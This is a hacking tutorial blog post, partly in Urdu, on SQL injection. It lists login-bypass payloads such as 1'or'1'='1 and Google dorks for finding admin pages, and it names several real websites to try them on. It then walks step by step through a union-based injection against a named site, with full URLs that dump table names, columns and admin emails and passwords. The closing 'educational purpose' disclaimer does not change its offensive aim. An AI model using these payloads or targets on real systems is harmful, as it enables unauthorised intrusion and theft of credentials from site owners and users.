Simple sql bypass website hacking

SQL Injection Admin Bypass In Urdu
 

ASPX Kay Liye Zida ye string use hoti ha

password: 1'or'1'='1

Or php kay liye

password:  1' OR '1'='1

TO Find website use below dorks

inurl:adminlogin.asp

inurl:admin_login.asp

inurl:adminlogon.asp

inurl:admin_logon.asp

inurl:\\admin/admin_login.php

inurl:/admin.asp

inurl:/login.asp

inurl:/logon.asp

inurl:/adminlogin.asp

inurl:/adminlogon.asp

inurl:/admin_login.asp

inurl:/admin_logon.asp

inurl:/admin/admin.asp

inurl:/admin/login.asp

inurl:/admin/logon.asp

inurl:/admin/adminlogin.asp

inurl:/admin/adminlogon.asp

inurl:/admin/admin_login.asp

inurl:/admin/admin_logon.asp

inurl:/administrator/admin.asp

inurl:/administrator/login.asp

inurl:/administrator/logon.asp

inurl:root/login.asp

inurl:admin/index.asp


Password: admin'--

1'or'1'='1

' or 0=0 --

" or 0=0 --

or 0=0 --

' or 0=0 #

" or 0=0 #

or 0=0 #


' or 'x'='x

" or "x"="x



') or ('x'='x



' or 1=1--



" or 1=1--



or 1=1--



' or a=a--



" or "a"="a



') or ('a'='a



") or ("a"="a



hi" or "a"="a



hi" or 1=1 --



hi' or 1=1 --



hi' or 'a'='a



hi') or ('a'='a



hi") or ("a"="a


1' OR '1'='1 (Koi Ek Dalna Ha Password Mein)



Phr Click Kryn Enter. u r in admin panel Try here
http://shopping.richardhealey.com/



http://www.amskrupajal.org/AdminLogin.asp


admin = 1'or'1'='1 pass = 1'or'1'='1



http://www.alertfx.com/admin/admin.asp

admin = 1'or'1'='1 pass = 1'or'1'='1

Thanks for visit

This is only for the educational purpose

How to hack website manual ( Full Guide )

Hello  once again T00L kiT here, today i gonna start Sqli Injection, today is First class so lets start

Requirements :-

Firefox Browser

Hackbar Addon

Vulnerability Site  

 i have already Vulnerability site like this

http://www.morephotosradio.com/transcript.php?interview_id=2021

Check this this website vulnerability yes or no, Put ' in the end of Url Like
  Step 1
=> http://www.morephotosradio.com/transcript.php?interview_id=2021'

yes i got a sql error you can see this

Step 2

=> Find tables numbers using order by--+- query For example

http://www.morephotosradio.com/transcript.php?interview_id=2021 order by 1--+-  (No Error)
http://www.morephotosradio.com/transcript.php?interview_id=2021 order by 2--+-  (No Error)

http://www.morephotosradio.com/transcript.php?interview_id=2021 order by 3--+-  (No Error)
http://www.morephotosradio.com/transcript.php?interview_id=2021 order by 4--+-  (No Error)
http://www.morephotosradio.com/transcript.php?interview_id=2021 order by 5--+-  (No Error)

and so on when we got Error this mean its table number like

http://www.morephotosradio.com/transcript.php?interview_id=2021 order by 45--+-  (No Error)

http://www.morephotosradio.com/transcript.php?interview_id=2021 order by 47--+-  ( Error)

its mean its have 46 table numbers

Step 3
=> Go to union based => Union statement and Select INT,INT

Step 4

=> Now enter table number value and click ok 

Step 5

=> after click ok you see this suto type 1 to 46 numbers then click Execute for checking its working 

Its working we can't got any error :D 

step 6

=> Put - in the end link values like this

http://www.morephotosradio.com/transcript.php?interview_id=-2021 +UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46--+-

you can see this when we put - we go got Columns number is 6

Step 7

=> Now we need version :-

replace 6 number this query "version()"

you can see this we got sqli Version if you want more information like user name hostname and database use this query :-

For Version = version()

For Database = database()

For use = use()

For Host = host@@

Step 8

=> now we need table information so replace 6 number follow query "group_concat(table_name)" without quotes and in the end or url use this query "from information_Schema.tables wehre table schema=database()--+-" without quotes like

For Tables

http://www.morephotosradio.com/transcript.php?interview_id=-2021 +UNION+ALL+SELECT+1,2,3,4,5,group_concat(tables_name),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46 from information_Schema.tables where table_schema=database()--+-

you can see this we got all table names , we need admin user name because we wanna hack website :D

Step 9

=> now replace "database()" with User

Now select user and go to "sqli basics" and select "char()" then past "user" then click ok like 

And replace table with columns like this

For columns 

http://www.morephotosradio.com/transcript.php?interview_id=-2021 +UNION+ALL+SELECT+1,2,3,4,5,group_concat(column_name),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46 from information_Schema.columns where table_name=CHAR(117, 115, 101, 114)--+-

 now click Execute  

Step 10

Now we need admin Email id and password now use this query 

replace column_name with which data we need and ,0x3a, mean when we need more data or in the end of url type table name

For data

http://www.morephotosradio.com/transcript.php?interview_id=-2021 +UNION+ALL+SELECT+1,2,3,4,5,group_concat(email,0x3a,password),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46 from User--+-

You can see this we got all admin emails and passwords ;) :D 

i hope you like this Tutorial 

Thanks for visiting

This is only for the educational purpose